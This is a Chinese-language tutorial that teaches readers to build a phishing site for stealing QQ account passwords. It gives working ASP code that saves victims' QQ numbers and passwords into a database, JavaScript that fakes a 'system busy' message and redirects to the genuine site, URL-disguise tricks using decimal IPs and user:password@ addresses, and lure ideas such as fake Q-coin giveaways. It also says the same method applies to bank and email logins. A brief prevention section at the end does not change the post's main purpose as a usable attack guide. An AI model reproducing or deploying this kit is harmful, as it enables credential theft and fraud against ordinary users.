构造一个简单的QQ密码网络钓鱼工程

构造一个简单的QQ密码网络钓鱼工程

Writer:一叶梦舟   
提：本文就网络钓鱼的实现方法简单讲解，不妥之处海涵！

网络钓鱼 （Phishing），顾名思义，就是在网络上构造一定的诱饵，利用被害人的某些欲望，构造一些貌似值得追寻获得的东西，引诱被害人陷入hacker事先设置好的陷阱里，并通过一定的手段获得被害人的相关敏感信息。

   攻击者利用欺骗性的电子邮件和伪造的 Web 站点来进行网络诈骗活动，受骗者往往会泄露自己的私人资料，如信用卡号、银行卡账户、身份证号等内容。诈骗者通常会将自己伪装成网络银行、在线零售商和信用卡公司等可信的品牌，骗取用户的私人信息。

今天，我们通过利用asp和access数据库构造一个简单的网络钓鱼工程，来详细了解hacker是如何通过相关的手段骗取被害人信息的。

   首先，我们选定将要伪装的目标，今天我们以腾讯宠物官方网站pet.qq.com为目标（前些时候那个假冒的中国工商银行官方网站和本文的骗取手段有一定的相同之处），通过构造一个假的宠物官方网站，通过骗去用户登陆来获得被害人的QQ号码和密码信息的简单工程。

   打开http://pet.qq.com，打开其中有一个领取QQ宠物的页面，我们在浏览器文件菜单下的另存为将它的整个页面保存下来，命名为index.htm，这样，在桌面上打开它，页面除了地址之外，其他的跟腾讯的官网大同小异，当时这样一个页面还不能够骗取用户的信息。



   接下来我们利用asp和数据库实现当用户输入号码和密码的时候，把相关的信息保存在我们的网站上。用记事本打开index.htm，找到用户登陆的表单并将action修改为pet_qq_action.asp，即
<FORM action=pet_qq_action.asp method=post target=_self>
并修改相关的表单名称使之与我们后面的数据库、pet_qq_action.asp里面的互对应，下来我们写pet_qq_action.asp代码，这个我就不详细说了，


pet_qq_action.asp的代码如下：
<%
dim db,strcon,qq,pass,rs,strSql //定义变量
strcon="dbq="& server.mappath("数据库名称.mdb") &"; driver= {microsoft access driver (*.mdb)}"
Set db=Server.createobject("ADODB.connection")//与数据库连接
db.open strcon//打开数据库
qq=Request("qqNumber")//获取qqNumber（QQ号码）内容
pass=Request("qqpassword")//获取qqpassword（密码）内容
strSql="INSERT INTO pass(name, pass) VALUES('"& qq &"','"& pass &"')"
db.Execute(strSql)  //将获取的信息插入数据库
%>
//以上代码就简单实现了当用户输入号码和密码的时候，利用pet_qq_action.asp将信息保存到我们指定的数据库。




//以下内容稍微知道点js的读者知道，
功能是，当用户输入号码和密码登陆的时候，
总是显示 ("系统忙....请您稍后登陆!")这样的信息，
并将页面自动跳转到腾讯真的官方网站！
做到真假难分！

<script language="javascript">
alert("系统忙....请您稍后登陆!")
</script>

<script LANGUAGE="JavaScript">
<!--
window.location="http://pet.qq.com/index.shtml";
// -->
</script>

这就明白了，为什么以前有好多挂QQ的网站，
在用户输入QQ号码和密码的时候，
为什么总是提示系统忙！其实就是一个骗QQ密码的钓鱼站！

  接下来我们把作好的相关文件上传到自己的站上，然后就可以宣传地址进行欺骗了，为了使网站更有欺骗性，我们可以修改index.htm的相关内容，使的站点更具有诱惑性和欺骗效果，比如可以在首页做一些虚假宣传，送QQB什么的，反正目的只有一个，让他上钩！
  
  还有很重要的一点，那就是钓鱼网站的地址，这个很重要，好多人一看不是腾讯的官方网站地址压根就不理你，这就涉及到相关的web地址欺骗了，以前看过有人写过相关的文章，利用浏览器对协议的解释规则进行欺骗，例如将地址为
http://219.157.58.15x 的 web地址转换为 10进制 地址http://368451445x（219.157.58.15x =15x+58*256+157*256*256+219*256*256*256=368451445x）,这种看起来似乎不可以思议的地址，但当你在地址栏输入上面url的时候，却发现浏览器却完全识别他，并正确指向http://219.157.58.15x,不但浏览器如此，在运行里输入 ping 368451445x 跟输入 ping 219.157.58.15x 是一样的，程序会自动将 10进制的IP地址转换为 16进制进行解释。
再者，还可以利用浏览器对http和ftp等协议的 user:password@IP 的地址规则进行web地址的再欺骗，比如在IP地址为219.157.58.15x 的server上建立一个用户名为paaword,密码为qq.com的帐户，这样完全的ftp访问地址就成了 ftp:password:qq.com@368451445x,
你说这样的地址是不是让人真假难辩，事实上，这个似乎是qq.com的url却跟QQ.COM一点关系都没有！这就是简单的web欺骗。

   关于web地址欺骗，还有相关的unicode欺骗，读者朋友可以参考相关资料。
   当然，你如果有足够的实力去做实在想做的事情，你完全可以自己掏钱买与目标站点相似的域名，就向以前有人伪造icbc一样。
   
   看完上面的内容，你就明白了，为什么你在有些挂QQ的网站，扬言要送QQB的网站，在一些乱七八糟的站点上登陆后自己的QQ后        密码不翼而飞，自己的邮箱密码被盗，甚至银行帐号丢失！

  用上面同样的办法，可以伪造邮箱登陆系统，银行帐号登陆系统（知道什么东西是Crime吗？），等等等等。
  
网络钓鱼的预防：
第一，        认清地址，就算狐狸再狡猾也不可能把假的弄成真的，假的永远不会变成真的，狐狸肯定有尾巴露出来，仔细辨认对方发来的地址，当不能肯定时，就不要理他。
第二，        天上掉什么也不会掉馅饼，别信那些所谓送7位，8位QQ号码，送QQB的鬼话，除非他和你是亲戚！
第三，        不要随便打开别人发来的地址（老话了，可还是有人好奇），世界上没有后悔药，看见那些求我找回QQ密码的朋友可怜的样子，简直惨不忍睹，可惜我不是马化腾！

哈哈
倒霉啊adman